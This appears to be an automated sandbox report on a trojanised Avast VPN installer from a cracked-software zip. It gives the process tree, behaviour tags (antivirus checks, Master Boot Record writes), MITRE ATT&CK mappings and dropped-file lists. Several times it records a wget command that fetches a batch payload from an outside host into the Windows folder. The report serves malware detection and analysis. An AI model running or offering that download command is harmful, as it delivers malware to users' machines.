C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4468,i,2458178266459557889,6860413337119973965,524288 --field-trial-handle=2288,i,16644207323471195904,3567171772267307063,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:83⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start1⤵
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Program Files\WinRAR\WinRAR.exe"C:\Program Files\WinRAR\WinRAR.exe" x -iext -ver -imon1 -- "C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual.zip" "C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\"1⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵
-
C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\avast_secureline_setup.exe"C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\avast_secureline_setup.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\a.bat" "2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Set-up.exeC:\Windows\Set-up.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-J44N8.tmp\Set-up.tmp"C:\Users\Admin\AppData\Local\Temp\is-J44N8.tmp\Set-up.tmp" /SL5="$6021A,19682195,177664,C:\Windows\Set-up.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-5V79V.tmp\VpnSetupWatchdog.exe"C:\Users\Admin\AppData\Local\Temp\is-5V79V.tmp\VpnSetupWatchdog.exe" /setup-pid:4036 /watchdog-watching-evt:Local\AvastVpnSetupWatchdogIsWatchingEvent /setup-log:"C:\Users\Admin\AppData\Local\Temp\Setup Log 2026-05-04 #001.txt"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ver "3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /IL "5.1."3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Wget\bin\wget.exeC:\Windows\Wget\bin\wget.exe -c -P "C:\Windows" "http://8858.space/rs/st/b.bat" --referer="alpha" --user-agent="avastvpn"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\system32\NOTEPAD.EXE"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\key.txt1⤵
-
C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\avast_secureline_setup.exe"C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\avast_secureline_setup.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\a.bat" "2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Set-up.exeC:\Windows\Set-up.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-NTGL3.tmp\Set-up.tmp"C:\Users\Admin\AppData\Local\Temp\is-NTGL3.tmp\Set-up.tmp" /SL5="$80228,19682195,177664,C:\Windows\Set-up.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-P1GPA.tmp\VpnSetupWatchdog.exe"C:\Users\Admin\AppData\Local\Temp\is-P1GPA.tmp\VpnSetupWatchdog.exe" /setup-pid:4396 /watchdog-watching-evt:Local\AvastVpnSetupWatchdogIsWatchingEvent /setup-log:"C:\Users\Admin\AppData\Local\Temp\Setup Log 2026-05-04 #001.txt"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ver "3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /IL "5.1."3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Wget\bin\wget.exeC:\Windows\Wget\bin\wget.exe -c -P "C:\Windows" "http://8858.space/rs/st/b.bat" --referer="alpha" --user-agent="avastvpn"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\avast_secureline_setup.exe"C:\Users\Admin\Downloads\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515 Multilingual\Avast SecureLine VPN 5.5.515\avast_secureline_setup.exe"1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Windows\a.bat" "2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\Set-up.exeC:\Windows\Set-up.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-AJAJL.tmp\Set-up.tmp"C:\Users\Admin\AppData\Local\Temp\is-AJAJL.tmp\Set-up.tmp" /SL5="$70256,19682195,177664,C:\Windows\Set-up.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-IHHL4.tmp\VpnSetupWatchdog.exe"C:\Users\Admin\AppData\Local\Temp\is-IHHL4.tmp\VpnSetupWatchdog.exe" /setup-pid:5292 /watchdog-watching-evt:Local\AvastVpnSetupWatchdogIsWatchingEvent /setup-log:"C:\Users\Admin\AppData\Local\Temp\Setup Log 2026-05-04 #001.txt"5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" ver "3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\findstr.exefindstr /IL "5.1."3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\Wget\bin\wget.exeC:\Windows\Wget\bin\wget.exe -c -P "C:\Windows" "http://8858.space/rs/st/b.bat" --referer="alpha" --user-agent="avastvpn"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Pre-OS Boot
1Bootkit
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Replay Monitor
Loading Replay Monitor...
Downloads
Rar.txt
RarExt.dll
Uninstall.exe
WhatsNew.txt
WinRAR.chm
WinRAR.exe
49dec0bb-bffb-4533-a544-140ec2bb3e0c.tmp
60fd5b90-161c-4a4f-a36b-5e019cd9e43c.tmp
settings.dat
settings.dat
settings.dat
settings.dat
settings.dat
BookmarkMergedSurfaceOrdering
BrowsingTopicsState
f_0000b1
f_0000b2
f_0000b3
f_0000b4
f_0000b5
the-real-index
the-real-index
the-real-index~RFe58b89d.TMP
data_1
SiteList-Enterprise.json
dasherSettingSchema.json
Favicons
History
HubApps
CURRENT
MANIFEST-000001
Network Persistent State
Network Persistent State
SCT Auditing Pending Reports
Sdch Dictionaries
Sdch Dictionaries
Sdch Dictionaries
Preferences
Preferences
Preferences
Preferences
Preferences
Preferences
Secure Preferences
Secure Preferences
Secure Preferences
the-real-index
the-real-index~RFe589e7d.TMP
the-real-index
the-real-index~RFe586e65.TMP
4f2277ea2139c475_0
the-real-index
the-real-index
the-real-index~RFe58a3ec.TMP
index.txt
index.txt
000003.log
LOG
the-real-index
the-real-index~RFe589a09.TMP
000003.log
LOG
LOG
sync_diagnostic.log
MANIFEST-000001
aa3b6662-b8fb-40c6-bc02-7a0bb3135d4c.tmp
Last Version
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
Local State
campaign_history
RevisitationBloomfilter
RevisitationBloomfilter
RevisitationBloomfilter~RFe58721e.TMP
data_1
Variations
metadata.json
metadata.json
3256621f3c706ccdf5802b36fb5c35251d354aed0d31ac9fc8eb7d7239312e55
metadata.json
5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
0001.tmp
0002.tmp
2.tmp
temp_0.tmp
Set-up.tmp
VpnSetupWatchdog.exe
SetupHelper.dll
default.dic
Avast SecureLine VPN 5.5.515 Multilingual.zip
winrar-x64-722.exe.crdownload
Set-up.exe
a.bat
s.txt
memory/1400-2530-0x0000000002150000-0x00000000021AF000-memory.dmp
memory/1400-2529-0x0000000000400000-0x0000000000441000-memory.dmp
memory/1672-2500-0x00000000008A0000-0x00000000008FF000-memory.dmp
memory/1968-2475-0x0000000000400000-0x0000000000435000-memory.dmp
memory/1968-2493-0x0000000000400000-0x0000000000435000-memory.dmp
memory/1968-2499-0x0000000000400000-0x0000000000435000-memory.dmp
memory/2084-2435-0x00000000030C0000-0x000000000311F000-memory.dmp
memory/2292-1218-0x000001B632340000-0x000001B632395000-memory.dmp
memory/2488-2396-0x0000000063080000-0x00000000631A8000-memory.dmp
memory/2488-2398-0x0000000060E40000-0x0000000060E5D000-memory.dmp
memory/2488-2399-0x0000000067200000-0x00000000672FB000-memory.dmp
memory/2488-2397-0x000000006C380000-0x000000006C3BE000-memory.dmp
memory/2488-2395-0x0000000000400000-0x0000000000479000-memory.dmp
memory/2636-2532-0x0000000000400000-0x0000000000435000-memory.dmp
memory/2636-2575-0x0000000000400000-0x0000000000435000-memory.dmp
memory/2996-2576-0x0000000001670000-0x00000000016CF000-memory.dmp
memory/3148-2429-0x00000259AAF40000-0x00000259AAF95000-memory.dmp
memory/3772-2034-0x000001D37FBA0000-0x000001D37FC50000-memory.dmp
memory/4036-2433-0x0000000002330000-0x000000000238F000-memory.dmp
memory/4036-2432-0x0000000000400000-0x000000000053B000-memory.dmp
memory/4396-2494-0x0000000000400000-0x000000000053B000-memory.dmp
memory/4396-2495-0x00000000021E0000-0x000000000223F000-memory.dmp
memory/4396-2498-0x00000000021E0000-0x000000000223F000-memory.dmp
memory/4396-2497-0x0000000000400000-0x000000000053B000-memory.dmp
memory/4540-2484-0x00000289683F0000-0x00000289684A0000-memory.dmp
memory/4564-2069-0x000001F3AFDC0000-0x000001F3AFE70000-memory.dmp
memory/5052-2434-0x0000000000400000-0x0000000000435000-memory.dmp
memory/5052-2390-0x0000000000400000-0x0000000000435000-memory.dmp
memory/5052-2430-0x0000000000400000-0x0000000000435000-memory.dmp
memory/5132-1886-0x000001593C960000-0x000001593CA10000-memory.dmp
memory/5292-2573-0x0000000000400000-0x000000000053B000-memory.dmp
memory/5292-2574-0x0000000002D50000-0x0000000002DAF000-memory.dmp
memory/5400-2388-0x0000000002100000-0x000000000215F000-memory.dmp
memory/5400-2387-0x0000000000400000-0x0000000000441000-memory.dmp
memory/5716-2473-0x00000000021D0000-0x000000000222F000-memory.dmp
memory/5716-2472-0x0000000000400000-0x0000000000441000-memory.dmp
memory/5788-2479-0x0000000000400000-0x0000000000479000-memory.dmp
memory/5788-2481-0x0000000060E40000-0x0000000060E5D000-memory.dmp
memory/5788-2482-0x000000006C380000-0x000000006C3BE000-memory.dmp
memory/5788-2483-0x0000000067200000-0x00000000672FB000-memory.dmp
memory/5788-2480-0x0000000063080000-0x00000000631A8000-memory.dmp
memory/5884-2539-0x0000000067200000-0x00000000672FB000-memory.dmp
memory/5884-2538-0x000000006C380000-0x000000006C3BE000-memory.dmp
memory/5884-2537-0x0000000060E40000-0x0000000060E5D000-memory.dmp
memory/5884-2536-0x0000000063080000-0x00000000631A8000-memory.dmp
memory/5884-2535-0x0000000000400000-0x0000000000479000-memory.dmp